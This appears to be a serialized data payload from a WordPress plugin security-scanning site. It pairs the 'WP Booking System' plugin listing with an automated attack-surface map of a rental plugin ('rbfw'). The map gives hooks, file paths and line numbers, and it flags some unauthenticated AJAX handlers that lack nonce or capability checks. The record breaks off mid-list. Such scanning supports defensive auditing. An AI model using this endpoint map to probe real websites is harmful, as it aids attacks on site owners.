00:00:00",{"slug":313,"name":314,"version":315,"author":316,"author_profile":317,"description":318,"short_description":319,"active_installs":320,"downloaded":321,"rating":322,"num_ratings":323,"last_updated":324,"tested_up_to":280,"requires_at_least":325,"requires_php":303,"tags":326,"homepage":330,"download_link":331,"security_score":332,"vuln_count":125,"unpatched_count":29,"last_vuln_date":333,"fetched_at":31},"wp-booking-system","WP Booking System – Booking Calendar","2.0.19.13","Roland Murg","https:\u002F\u002Fprofiles.wordpress.org\u002Fmurgroland\u002F","\u003Cp>The booking calendar plugin for WordPress. WP Booking System is used by more than 10,000 active users, with a satisfaction rate that borders on 5*!\u003C\u002Fp>\n\u003Cp>Is this booking calendar for you?\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Do you rent something out, like a holiday home, a boat or something else? \u003C\u002Fli>\n\u003Cli>Do you have a WordPress website and need a bit of help to keep track of your rentals through a booking calendar?\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>…then yes! The WP Booking System is perfect for your needs.\u003C\u002Fp>\n\u003Cp>Get easy online booking with this lightweight and powerful booking system.\u003C\u002Fp>\n\u003Ch3>A set-and-forget booking calendar for your rental business\u003C\u002Fh3>\n\u003Cp>WP Booking System is a simple booking calendar for WordPress. You will be up and running in just a few minutes. You can create booking calendars and forms, and you can manage your bookings. You can easily customize the booking calendar to fit your needs.\u003C\u002Fp>\n\u003Cp>Start receiving bookings from your visitors today!\u003C\u002Fp>\n\u003Ch3>Display available dates in your booking calendar\u003C\u002Fh3>\n\u003Cp>With just one click you can create the first booking calendar for your holiday home or rental business. Already have bookings made? You can manually manage the calendar’s availability in just a few seconds.\u003C\u002Fp>\n\u003Cp>Now your booking calendar is up to date with the latest bookings and available dates!\u003C\u002Fp>\n\u003Ch3>Create a form and enable clients to make bookings online\u003C\u002Fh3>\n\u003Cp>The beauty of this WordPress booking calendar is that it allows your website visitors to book available calendar dates on the spot through a fully customizable booking calendar form.\u003C\u002Fp>\n\u003Cp>Enable your clients to use the rental calendar fast and easy. In just three simple steps, clients will be able to reserve a slot on your booking calendar:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Hover over the booking calendar to pick a starting date. Click on it, then move the cursor to select the number of days to book. (clients can easily see booked days by using the booking system legend)\u003C\u002Fli>\n\u003Cli>Next, fill in the booking system form (you can edit the form fields at any time to make sure clients submit the most relevant information you need; mark fields as compulsory or optional)\u003C\u002Fli>\n\u003Cli>Finally, click the booking button to make a reservation.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>With the premium version of the booking system, you can allow customers to make online bookings using the top payment platforms available at the moment!\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.wpbookingsystem.com\u002Fdemo\u002F\" rel=\"nofollow ugc\">Click here to see a demo of the premium version\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>You can review and manage calendar bookings from the back-end, so you are always in control. You can even set up automatic calendar notifications so you will receive an email when a booking is made. Now you’re all set to receive online bookings through your booking calendar.\u003C\u002Fp>\n\u003Ch3>Receive and manage bookings\u003C\u002Fh3>\n\u003Cp>All your bookings are saved in your rental calendar and are beautifully displayed so you can easily access them and view the booking details.\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FUV7UHKvxFqo?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>\u003Cstrong>No time to read the description? Discover the top benefits of WP Booking System in just 40 seconds!\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Ch3>Features of the Free version:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Create your own booking system: a booking calendar and a booking form!\u003C\u002Fli>\n\u003Cli>Receive and manage bookings\u003C\u002Fli>\n\u003Cli>Save extra booking information\u003C\u002Fli>\n\u003Cli>Generate a shortcode to insert the booking calendar and booking form into a page or post\u003C\u002Fli>\n\u003Cli>Use the Gutenberg block to embed the booking calendar\u003C\u002Fli>\n\u003Cli>WP Booking System Widget\u003C\u002Fli>\n\u003Cli>The booking calendar supports multiple languages\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>EXTRA FEATURES OF THE PREMIUM BOOKING CALENDAR VERSION:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>The booking system can accept online and offline payments\u003C\u002Fli>\n\u003Cli>iCalendar Sync, Import and Export\u003C\u002Fli>\n\u003Cli>Create an unlimited number of booking calendars\u003C\u002Fli>\n\u003Cli>Create an unlimited number of booking forms\u003C\u002Fli>\n\u003Cli>Create your own rental calendar legend: apply your own colors and text\u003C\u002Fli>\n\u003Cli>Split days selection\u003C\u002Fli>\n\u003Cli>Display multiple months\u003C\u002Fli>\n\u003Cli>Change the first day of the week\u003C\u002Fli>\n\u003Cli>Change the start month \u002F year\u003C\u002Fli>\n\u003Cli>Display an overview reservation calendar\u003C\u002Fli>\n\u003Cli>Edit multiple dates with just one click\u003C\u002Fli>\n\u003Cli>Display tooltips with extra info\u003C\u002Fli>\n\u003Cli>Hide calendar bookings from the past from your visitors\u003C\u002Fli>\n\u003Cli>Set the minimum number of days that the visitor must book\u003C\u002Fli>\n\u003Cli>Show the week’s number on the booking calendar\u003C\u002Fli>\n\u003Cli>Automatically block booked days directly\u003C\u002Fli>\n\u003Cli>Send booking notifications\u003C\u002Fli>\n\u003Cli>User management within the booking system\u003C\u002Fli>\n\u003Cli>Very easy to translate into any language\u003C\u002Fli>\n\u003Cli>Professional support for any question related to the booking calendar\u003C\u002Fli>\n\u003Cli>Download the Premium version at: \u003Ca href=\"https:\u002F\u002Fwww.wpbookingsystem.com\" rel=\"nofollow ugc\">www.wpbookingsystem.com\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>This WP Booking Calendar Plugin is for…\u003C\u002Fh3>\n\u003Cp>Any rental business should use the WP Booking Calendar plugin to keep track of their rental calendar throughout the year.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Property rentals: bed & breakfast, hotels, hotel rooms, cottages, apartments, houses, apartment rooms (use WP Booking System even when you are renting through AirBNB, Booking.com etc.)\u003C\u002Fli>\n\u003Cli>Boat rentals\u003C\u002Fli>\n\u003Cli>Car & motorcycle rentals\u003C\u002Fli>\n\u003Cli>Sports equipment rentals (full day ski equipment rental, bike rentals, skates rentals etc)\u003C\u002Fli>\n\u003Cli>Events rentals (full day trainings\u002Fcourses, parties, weddings, baptisms, corporate events, business meetings, conferences etc)\u003C\u002Fli>\n\u003Cli>Speakers, singers, photographers, videographers, inspectors can also benefit from using WP Booking system\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>The booking system will soon become an indispensable tool in your business, and you will find yourself using it daily to manage reservations in your calendar.\u003C\u002Fp>\n\u003Ch4>How the booking calendar helps your clients\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Clients can make calendar bookings online, by accessing your website\u003C\u002Fli>\n\u003Cli>No need to call to make a reservation\u003C\u002Fli>\n\u003Cli>They can see the available calendar dates and manage their schedule to make a booking\u003C\u002Fli>\n\u003Cli>They can make simple and fast bookings from the comfort of their own home, directly from their mobile phones\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Key booking system benefits for your business\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Collect relevant information about your clients through the booking system form (configure the rental calendar form to your needs). No need to call or collect this information at the desk.\u003C\u002Fli>\n\u003Cli>Use the WP Booking System on the go, from your mobile phone. The WP Booking Calendar can be used from mobile devices with ease – simply log in to your website and make any necessary edits just like on a computer.\u003C\u002Fli>\n\u003Cli>Manage bookings offline – when you meet with a client 1:1 and they want to make a future booking, simply log in to your website, access the booking calendar and make the reservation on the spot, for them.\u003C\u002Fli>\n\u003Cli>Stay up to date with calendar bookings by receiving email confirmations and reminders\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>WP Booking System in a nutshell…\u003C\u002Fh4>\n\u003Cp>Get organised and start receiving bookings with WP booking system. With this WP plugin you can create booking calendars, booking forms and accept bookings via your website. Setting it up is really easy and you will be up and running in just a few minutes. Bookings will be clearly listed in your booking calendar and you can stay organised. The booking calendar plugin works simply and it can be translated into several languages.\u003C\u002Fp>\n","The booking calendar plugin for WordPress. Get easy online booking with this lightweight and powerful booking calendar.",20000,341861,98,336,"2026-04-15T07:26:00.000Z","4.7",[327,20,286,328,329],"availability-calendar","icalendar","reservation-calendar","https:\u002F\u002Fwww.wpbookingsystem.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-booking-system.2.0.19.13.zip",89,"2026-03-04 00:00:00",{"attackSurface":335,"codeSignals":923,"taintFlows":1712,"riskAssessment":1974,"analyzedAt":1987},{"hooks":336,"ajaxHandlers":811,"restRoutes":899,"shortcodes":900,"cronEvents":921,"entryPointCount":922,"unprotectedCount":165},[337,342,346,349,352,356,360,363,366,370,373,376,380,384,387,390,394,397,400,403,405,408,410,412,413,414,416,419,421,422,423,425,426,427,429,430,431,433,434,435,437,438,439,441,442,443,445,446,447,449,450,451,453,454,455,457,458,459,461,462,463,466,468,469,470,474,477,481,485,490,494,496,499,503,507,510,513,516,519,523,527,530,535,539,542,545,549,553,556,559,561,564,565,569,573,577,581,584,588,592,595,597,600,604,607,610,614,617,620,624,628,631,634,637,641,645,648,651,654,658,661,665,669,673,677,681,684,687,690,694,698,701,705,706,709,712,715,718,722,725,728,729,733,735,738,741,744,748,751,753,757,761,765,770,773,777,781,783,786,789,792,796,799,803,807],{"type":338,"name":339,"callback":340,"file":341,"line":77},"action","init","rbfw_cpt","admin\\custom_post.php",{"type":343,"name":344,"callback":345,"file":341,"line":289},"filter","manage_rbfw_item_posts_columns","rbfw_cpt_columns",{"type":338,"name":347,"callback":348,"priority":289,"file":341,"line":49},"manage_rbfw_item_posts_custom_column","rbfw_cpt_custom_column",{"type":343,"name":350,"callback":351,"file":341,"line":28},"manage_edit-rbfw_item_sortable_columns","rbfw_cpt_sortable_columns",{"type":338,"name":353,"callback":354,"priority":289,"file":355,"line":77},"wp_insert_post","create_hidden_wc_product_on_publish","admin\\RBFW_Hidden_Product.php",{"type":338,"name":357,"callback":358,"priority":359,"file":355,"line":289},"save_post","run_link_product_on_save",99,{"type":338,"name":361,"callback":362,"file":355,"line":49},"parse_query","hide_wc_hidden_product_from_product_list",{"type":338,"name":364,"callback":365,"file":355,"line":28},"wp","hide_hidden_wc_product_from_frontend",{"type":338,"name":367,"callback":368,"file":355,"line":369},"wp_head","url_exclude_search_engine",14,{"type":338,"name":339,"callback":371,"file":355,"line":372},"get_all_hidden_product_id",15,{"type":343,"name":374,"callback":371,"file":355,"line":375},"wpseo_exclude_from_sitemap_by_post_ids",16,{"type":338,"name":377,"callback":378,"priority":359,"file":379,"line":165},"admin_init","rbfw_quick_setup_exit","admin\\RBFW_Quick_Setup.php",{"type":338,"name":381,"callback":382,"file":379,"line":383},"admin_menu","quick_setup_menu",25,{"type":338,"name":381,"callback":385,"file":386,"line":369},"rental_list_menu","admin\\RBFW_Rental_List.php",{"type":338,"name":388,"callback":389,"file":386,"line":375},"admin_action_rbfw_duplicate_post","rbfw_duplicate_post_function",{"type":338,"name":391,"callback":392,"file":393,"line":49},"rbfw_meta_box_tab_name","add_tab_menu","admin\\settings\\Extra_Service.php",{"type":338,"name":395,"callback":396,"file":393,"line":28},"rbfw_meta_box_tab_content","add_tabs_content",{"type":338,"name":357,"callback":398,"priority":359,"file":393,"line":399},"settings_save",13,{"type":338,"name":391,"callback":401,"file":402,"line":399},"faq_tab","admin\\settings\\Faq.php",{"type":338,"name":395,"callback":404,"file":402,"line":369},"faq_tab_content",{"type":338,"name":406,"callback":407,"file":402,"line":372},"admin_enqueue_scripts","custom_editor_enqueue",{"type":338,"name":357,"callback":398,"priority":359,"file":402,"line":409},24,{"type":338,"name":391,"callback":392,"file":411,"line":28},"admin\\settings\\Fee_Management.php",{"type":338,"name":395,"callback":396,"file":411,"line":399},{"type":338,"name":357,"callback":398,"priority":359,"file":411,"line":369},{"type":338,"name":406,"callback":415,"file":411,"line":372},"enqueue_admin_scripts",{"type":338,"name":417,"callback":418,"file":411,"line":375},"wp_enqueue_scripts","enqueue_frontend_scripts",{"type":338,"name":391,"callback":392,"file":420,"line":49},"admin\\settings\\Gallery.php",{"type":338,"name":395,"callback":396,"file":420,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":420,"line":399},{"type":338,"name":391,"callback":392,"file":424,"line":49},"admin\\settings\\General_Info.php",{"type":338,"name":395,"callback":396,"file":424,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":424,"line":399},{"type":338,"name":391,"callback":392,"file":428,"line":49},"admin\\settings\\Inventory.php",{"type":338,"name":395,"callback":396,"file":428,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":428,"line":399},{"type":338,"name":391,"callback":392,"file":432,"line":49},"admin\\settings\\Location.php",{"type":338,"name":395,"callback":396,"file":432,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":432,"line":399},{"type":338,"name":391,"callback":392,"file":436,"line":49},"admin\\settings\\Off_Day.php",{"type":338,"name":395,"callback":396,"file":436,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":436,"line":399},{"type":338,"name":391,"callback":392,"file":440,"line":49},"admin\\settings\\Pricing.php",{"type":338,"name":395,"callback":396,"file":440,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":440,"line":372},{"type":338,"name":391,"callback":392,"file":444,"line":49},"admin\\settings\\Related.php",{"type":338,"name":395,"callback":396,"file":444,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":444,"line":399},{"type":338,"name":391,"callback":392,"file":448,"line":49},"admin\\settings\\Security_Deposit.php",{"type":338,"name":395,"callback":396,"file":448,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":448,"line":399},{"type":338,"name":391,"callback":392,"file":452,"line":49},"admin\\settings\\Settings.php",{"type":338,"name":395,"callback":396,"file":452,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":452,"line":399},{"type":338,"name":391,"callback":392,"file":456,"line":49},"admin\\settings\\Tax.php",{"type":338,"name":395,"callback":396,"file":456,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":456,"line":399},{"type":338,"name":391,"callback":392,"file":460,"line":49},"admin\\settings\\Template.php",{"type":338,"name":395,"callback":396,"file":460,"line":28},{"type":338,"name":357,"callback":398,"priority":359,"file":460,"line":399},{"type":338,"name":391,"callback":464,"file":465,"line":399},"term_tab","admin\\settings\\Terms.php",{"type":338,"name":395,"callback":467,"file":465,"line":369},"term_tab_content",{"type":338,"name":406,"callback":407,"file":465,"line":372},{"type":338,"name":357,"callback":398,"priority":359,"file":465,"line":409},{"type":343,"name":471,"callback":472,"priority":77,"file":473,"line":399},"rbfw_settings_sec_reg","rbfw_admin_settings_sec_reg_basic","admin\\settings.php",{"type":343,"name":475,"callback":476,"priority":77,"file":473,"line":191},"rbfw_settings_sec_fields","rbfw_settings_sec_fields_basic",{"type":343,"name":471,"callback":478,"priority":479,"file":473,"line":480},"rbfw_license_settings_sec",100,310,{"type":338,"name":482,"callback":483,"priority":151,"file":473,"line":484},"wsa_form_bottom_rbfw_license_settings","rbfw_licensing_landing_page",323,{"type":338,"name":486,"callback":487,"priority":488,"file":473,"line":489},"plugins_loaded","rbfw_remove_rbfw_license_action",110,368,{"type":338,"name":339,"callback":491,"priority":289,"file":492,"line":493},"rbfw_taxonomy_register","admin\\taxonomy_register.php",58,{"type":338,"name":339,"callback":495,"file":492,"line":236},"insert_dummy_taxonomy_terms",{"type":343,"name":497,"callback":498,"file":492,"line":309},"manage_edit-rbfw_item_caregory_columns","add_rbfw_item_caregory_columns",{"type":343,"name":500,"callback":501,"priority":502,"file":492,"line":27},"manage_rbfw_item_caregory_custom_column","add_rbfw_item_caregory_column_content",2,{"type":343,"name":504,"callback":505,"priority":289,"file":506,"line":49},"woocommerce_add_to_cart_validation","rbfw_prevent_duplicate_cart_item","Frontend\\RBFW_Woocommerse.php",{"type":343,"name":508,"callback":509,"priority":224,"file":506,"line":28},"woocommerce_add_cart_item_data","rbfw_add_info_to_cart_item",{"type":338,"name":511,"callback":512,"priority":224,"file":506,"line":399},"woocommerce_before_calculate_totals","rbfw_set_new_cart_price",{"type":343,"name":514,"callback":515,"priority":224,"file":506,"line":369},"woocommerce_get_item_data","rbfw_show_cart_items",{"type":338,"name":517,"callback":518,"file":506,"line":375},"woocommerce_after_checkout_validation","rbfw_validation_before_checkout",{"type":338,"name":520,"callback":521,"priority":224,"file":506,"line":522},"woocommerce_checkout_create_order_line_item","rbfw_add_order_item_data",17,{"type":338,"name":524,"callback":525,"file":506,"line":526},"woocommerce_before_thankyou","rbfw_booking_management",18,{"type":338,"name":528,"callback":529,"priority":289,"file":506,"line":256},"rbfw_wc_order_status_change","rbfw_change_user_order_status_on_order_status_change",{"type":343,"name":531,"callback":532,"priority":289,"file":533,"line":534},"sanitize_post_meta_rbfw_feature_category","rbfw_filter_feature_category_meta","functions.php",120,{"type":338,"name":536,"callback":537,"priority":256,"file":533,"line":538},"woocommerce_cart_calculate_fees","custom_taxable_fee",219,{"type":338,"name":540,"callback":540,"file":533,"line":541},"rbfw_ticket_feature_info",236,{"type":338,"name":543,"callback":543,"file":533,"line":544},"rbfw_pricing_info_header",271,{"type":338,"name":546,"callback":547,"priority":289,"file":533,"line":548},"rbfw_add_term_condition","rbfw_add_term_condition_item",286,{"type":338,"name":550,"callback":551,"file":552,"line":372},"wp_footer","rbfw_bike_car_md_frontend_scripts","inc\\class-bike-car-md-function.php",{"type":338,"name":550,"callback":554,"file":555,"line":399},"rbfw_bike_car_sd_frontend_scripts","inc\\class-bike-car-sd-function.php",{"type":338,"name":406,"callback":557,"priority":289,"file":558,"line":28},"rbfw_add_admin_scripts","inc\\RBFW_Dependencies.php",{"type":338,"name":417,"callback":560,"priority":224,"file":558,"line":399},"rbfw_enqueue_scripts",{"type":338,"name":562,"callback":563,"priority":151,"file":558,"line":369},"admin_head","included_header_script",{"type":338,"name":367,"callback":563,"priority":151,"file":558,"line":372},{"type":338,"name":566,"callback":567,"file":568,"line":399},"rbfw_frontend_enqueue_scripts","rbfw_dynamic_css","inc\\rbfw_dynamic_css.php",{"type":343,"name":508,"callback":570,"priority":289,"file":571,"line":572},"rbfw_add_fees_to_cart_item","inc\\rbfw_fee_functions.php",256,{"type":343,"name":574,"callback":575,"priority":289,"file":571,"line":576},"woocommerce_cart_item_price","rbfw_apply_fees_to_price",259,{"type":338,"name":578,"callback":579,"priority":289,"file":571,"line":580},"woocommerce_add_order_item_meta","rbfw_save_fees_to_order",262,{"type":338,"name":339,"callback":582,"file":583,"line":191},"rbfw_new_installation_or_update","inc\\rbfw_file_include.php",{"type":338,"name":585,"callback":586,"file":583,"line":587},"wp_loaded","rbfw_free_woocommerce_integrate",80,{"type":343,"name":589,"callback":590,"priority":77,"file":583,"line":591},"rbfw_payment_systems","rbfw_payment_systems_free",93,{"type":343,"name":593,"callback":593,"file":594,"line":399},"single_template","inc\\RBFW_Frontend.php",{"type":338,"name":596,"callback":596,"file":594,"line":369},"booking_form_header",{"type":338,"name":598,"callback":599,"file":594,"line":372},"rbfw_product_feature_lists","feature_lists",{"type":338,"name":364,"callback":601,"file":602,"line":603},"rbfw_hide_hidden_wc_product_from_frontend","inc\\rbfw_functions.php",190,{"type":338,"name":367,"callback":605,"file":602,"line":606},"rbfw_url_exclude_search_engine",213,{"type":338,"name":339,"callback":608,"file":602,"line":609},"rbfw_language_load",239,{"type":338,"name":611,"callback":612,"priority":289,"file":602,"line":613},"rbfw_availabe_label","rbfw_show_availabe_label",345,{"type":343,"name":344,"callback":615,"file":602,"line":616},"rbfw_item_col_mod_head",355,{"type":338,"name":339,"callback":618,"priority":29,"file":602,"line":619},"rbfw_create_tag_taxonomy",380,{"type":338,"name":621,"callback":622,"file":602,"line":623},"rbfw_the_faq_only","rbfw_get_faq_func",401,{"type":338,"name":625,"callback":626,"file":602,"line":627},"rbfw_product_meta","rbfw_post_share_meta",448,{"type":338,"name":629,"callback":629,"file":602,"line":630},"rbfw_related_products",494,{"type":338,"name":550,"callback":632,"file":602,"line":633},"rbfw_footer_scripts",709,{"type":338,"name":585,"callback":635,"file":602,"line":636},"rbfw_highlighted_features_func",740,{"type":338,"name":638,"callback":639,"file":602,"line":640},"admin_footer","rbfw_footer_admin_scripts",770,{"type":338,"name":642,"callback":643,"file":602,"line":644},"do_meta_boxes","rbfw_remove_template_meta_box",903,{"type":338,"name":562,"callback":646,"file":602,"line":647},"rbfw_post_type_css",936,{"type":338,"name":638,"callback":649,"file":602,"line":650},"rbfw_meta_admin_script_func",944,{"type":338,"name":562,"callback":652,"file":602,"line":653},"rbfw_payment_systems_css",1007,{"type":343,"name":655,"callback":656,"priority":289,"file":602,"line":657},"rbfw_settings_field","rbfw_payment_settings_fields",1024,{"type":338,"name":562,"callback":659,"file":602,"line":660},"rbfw_hide_date_from_order_page",1055,{"type":338,"name":662,"callback":663,"file":602,"line":664},"pre_get_posts","rbfw_search_query_exlude_hidden_wc_fix",1073,{"type":338,"name":666,"callback":667,"file":602,"line":668},"wp_trash_post","rbfw_trash_order",1094,{"type":338,"name":670,"callback":671,"priority":289,"file":602,"line":672},"untrashed_post","wp_kama_untrashed_post_action",1095,{"type":343,"name":674,"callback":675,"file":602,"line":676},"woocommerce_add_to_cart_redirect","rbfw_add_to_cart_redirect",1386,{"type":343,"name":678,"callback":679,"file":602,"line":680},"wc_add_to_cart_message_html","rbfw_remove_add_to_cart_message",1398,{"type":338,"name":377,"callback":682,"file":602,"line":683},"rbfw_import_dummy_time_slots",1410,{"type":338,"name":685,"callback":685,"file":602,"line":686},"rbfw_related_products_style_two",1579,{"type":338,"name":688,"callback":688,"file":602,"line":689},"rbfw_related_products_style_three",1807,{"type":338,"name":691,"callback":692,"file":602,"line":693},"rbfw_the_faq_style_two","rbfw_the_faq_style_two_func",2068,{"type":338,"name":695,"callback":696,"file":602,"line":697},"rbfw_dt_testimonial","rbfw_dt_testimonial_func",2112,{"type":338,"name":585,"callback":699,"file":602,"line":700},"rbfw_update_inventory_order_status",2498,{"type":338,"name":702,"callback":703,"file":602,"line":704},"woocommerce_thankyou","rbfw_update_order_status",2557,{"type":338,"name":702,"callback":703,"file":602,"line":704},{"type":338,"name":377,"callback":707,"file":602,"line":708},"rbfw_duplicate_post",2574,{"type":338,"name":377,"callback":710,"priority":289,"file":602,"line":711},"rbfw_get_dummy_wc_products",3364,{"type":338,"name":406,"callback":713,"file":602,"line":714},"rbfw_enqueue_reset_orders_assets",3628,{"type":338,"name":377,"callback":716,"file":717,"line":28},"rbfw_trigger_import_demo","inc\\rbfw_import_demo.php",{"type":338,"name":719,"callback":720,"file":721,"line":77},"add_meta_boxes_rbfw_order","rbfw_order_meta_box","inc\\rbfw_order_meta.php",{"type":338,"name":357,"callback":723,"file":721,"line":724},"save_rbfw_order_meta_box",1130,{"type":338,"name":367,"callback":726,"priority":479,"file":727,"line":28},"rbfw_style","inc\\RBFW_Style.php",{"type":338,"name":562,"callback":726,"priority":479,"file":727,"line":399},{"type":343,"name":471,"callback":730,"priority":256,"file":731,"line":732},"slider_tab_name","inc\\RBFW_Super_Slider.php",8,{"type":343,"name":475,"callback":734,"priority":289,"file":731,"line":77},"slider_settings",{"type":338,"name":736,"callback":737,"priority":289,"file":731,"line":289},"rbfw_slider","super_slider",{"type":338,"name":739,"callback":740,"priority":289,"file":731,"line":49},"rbfw_slider_only","super_slider_only",{"type":338,"name":742,"callback":743,"priority":289,"file":731,"line":28},"rbfw_slider_icon_indicator","icon_indicator",{"type":338,"name":745,"callback":746,"file":747,"line":375},"rbfw_tax_meta_boxs","rbfw_wc_meta_box","inc\\woocommerce\\class-meta.php",{"type":338,"name":377,"callback":749,"file":750,"line":522},"rbfw_plugin_install","inc\\woocommerce\\class-status.php",{"type":338,"name":377,"callback":752,"file":750,"line":526},"rbfw_plugin_activate",{"type":338,"name":754,"callback":755,"file":750,"line":756},"rbfw_admin_menu_after_settings","rbfw_status_submenu",19,{"type":338,"name":758,"callback":759,"priority":289,"file":760,"line":151},"rbfw_set_cart_item_price","rbfw_set_cart_item_price_func","inc\\woocommerce\\rbfw_cart_price_function.php",{"type":338,"name":762,"callback":763,"file":764,"line":522},"admin_notices","rbfw_admin_notices","inc\\woocommerce\\rbfw_wc_notice.php",{"type":343,"name":766,"callback":767,"priority":289,"file":768,"line":769},"plugin_action_links","plugin_action_link","rent-manager.php",38,{"type":343,"name":771,"callback":771,"priority":289,"file":768,"line":772},"plugin_row_meta",39,{"type":343,"name":774,"callback":775,"priority":289,"file":768,"line":776},"post_row_actions","duplicate_post_link",40,{"type":343,"name":778,"callback":779,"file":768,"line":780},"body_class","add_body_class",41,{"type":338,"name":357,"callback":782,"priority":256,"file":768,"line":191},"flush_rules_on_save_posts",{"type":338,"name":377,"callback":784,"file":768,"line":785},"get_plugin_data",43,{"type":338,"name":377,"callback":787,"file":768,"line":788},"flush_rules_rbfw_post_list_page",44,{"type":338,"name":377,"callback":790,"priority":224,"file":768,"line":791},"activation_redirect",50,{"type":343,"name":793,"callback":794,"priority":289,"file":795,"line":14},"block_categories_all","rbfw_block_category","support\\blocks\\block-support.php",{"type":338,"name":797,"callback":798,"file":795,"line":788},"enqueue_block_editor_assets","rbfw_enqueue_block_editor_assets",{"type":338,"name":339,"callback":800,"file":801,"line":802},"rbfw_register_blocks","support\\blocks\\blocks.php",186,{"type":338,"name":804,"callback":805,"file":806,"line":493},"elementor\u002Fwidgets\u002Fwidgets_registered","register_widgets","support\\elementor\\elementor-support.php",{"type":338,"name":808,"callback":809,"file":806,"line":810},"elementor\u002Felements\u002Fcategories_registered","add_widget_categories",59,[812,816,819,822,824,825,828,831,834,837,838,840,841,843,844,847,849,851,852,854,855,857,858,860,861,863,865,867,868,871,872,875,876,878,879,881,882,886,890,893,896],{"action":813,"nopriv":52,"callback":814,"hasNonce":815,"hasCapCheck":815,"file":402,"line":526},"rbfw_faq_data_save","save_faq_data_settings",true,{"action":817,"nopriv":52,"callback":818,"hasNonce":815,"hasCapCheck":815,"file":402,"line":256},"rbfw_faq_data_update","faq_data_update",{"action":820,"nopriv":52,"callback":821,"hasNonce":815,"hasCapCheck":815,"file":402,"line":138},"rbfw_faq_delete_item","faq_delete_item",{"action":823,"nopriv":52,"callback":823,"hasNonce":815,"hasCapCheck":52,"file":440,"line":399},"rbfw_load_duration_form",{"action":823,"nopriv":815,"callback":823,"hasNonce":815,"hasCapCheck":52,"file":440,"line":369},{"action":826,"nopriv":52,"callback":827,"hasNonce":815,"hasCapCheck":815,"file":465,"line":526},"rbfw_term_data_save","save_term_data_settings",{"action":829,"nopriv":52,"callback":830,"hasNonce":815,"hasCapCheck":815,"file":465,"line":256},"rbfw_term_data_update","term_data_update",{"action":832,"nopriv":52,"callback":833,"hasNonce":815,"hasCapCheck":815,"file":465,"line":138},"rbfw_term_delete_item","term_delete_item",{"action":835,"nopriv":52,"callback":836,"hasNonce":815,"hasCapCheck":52,"file":552,"line":522},"rbfw_bikecarmd_ajax_price_calculation","rbfw_md_duration_price_calculation_ajax",{"action":835,"nopriv":815,"callback":836,"hasNonce":815,"hasCapCheck":52,"file":552,"line":526},{"action":839,"nopriv":52,"callback":839,"hasNonce":815,"hasCapCheck":52,"file":552,"line":256},"rbfw_multi_items_ajax_price_calculation",{"action":839,"nopriv":815,"callback":839,"hasNonce":815,"hasCapCheck":52,"file":552,"line":204},{"action":842,"nopriv":52,"callback":842,"hasNonce":815,"hasCapCheck":52,"file":552,"line":409},"rbfw_bikecarmd_ajax_min_max_and_offdays_info",{"action":842,"nopriv":815,"callback":842,"hasNonce":815,"hasCapCheck":52,"file":552,"line":383},{"action":845,"nopriv":52,"callback":845,"hasNonce":815,"hasCapCheck":52,"file":552,"line":846},"rbfw_day_wise_sold_out_check",27,{"action":845,"nopriv":815,"callback":845,"hasNonce":815,"hasCapCheck":52,"file":552,"line":848},28,{"action":850,"nopriv":52,"callback":850,"hasNonce":815,"hasCapCheck":52,"file":555,"line":369},"rbfw_bikecarsd_time_table",{"action":850,"nopriv":815,"callback":850,"hasNonce":815,"hasCapCheck":52,"file":555,"line":372},{"action":853,"nopriv":52,"callback":853,"hasNonce":52,"hasCapCheck":52,"file":555,"line":375},"rbfw_bikecarsd_type_list",{"action":853,"nopriv":815,"callback":853,"hasNonce":52,"hasCapCheck":52,"file":555,"line":522},{"action":856,"nopriv":52,"callback":856,"hasNonce":815,"hasCapCheck":52,"file":555,"line":526},"rbfw_bikecarsd_ajax_price_calculation",{"action":856,"nopriv":815,"callback":856,"hasNonce":815,"hasCapCheck":52,"file":555,"line":756},{"action":859,"nopriv":52,"callback":859,"hasNonce":52,"hasCapCheck":52,"file":555,"line":256},"rbfw_timely_variation_price_calculation",{"action":859,"nopriv":815,"callback":859,"hasNonce":52,"hasCapCheck":52,"file":555,"line":204},{"action":862,"nopriv":52,"callback":862,"hasNonce":815,"hasCapCheck":52,"file":555,"line":138},"rbfw_timely_price_calculation",{"action":862,"nopriv":815,"callback":862,"hasNonce":815,"hasCapCheck":52,"file":555,"line":864},23,{"action":866,"nopriv":52,"callback":866,"hasNonce":815,"hasCapCheck":52,"file":555,"line":409},"particular_time_date_dependent",{"action":866,"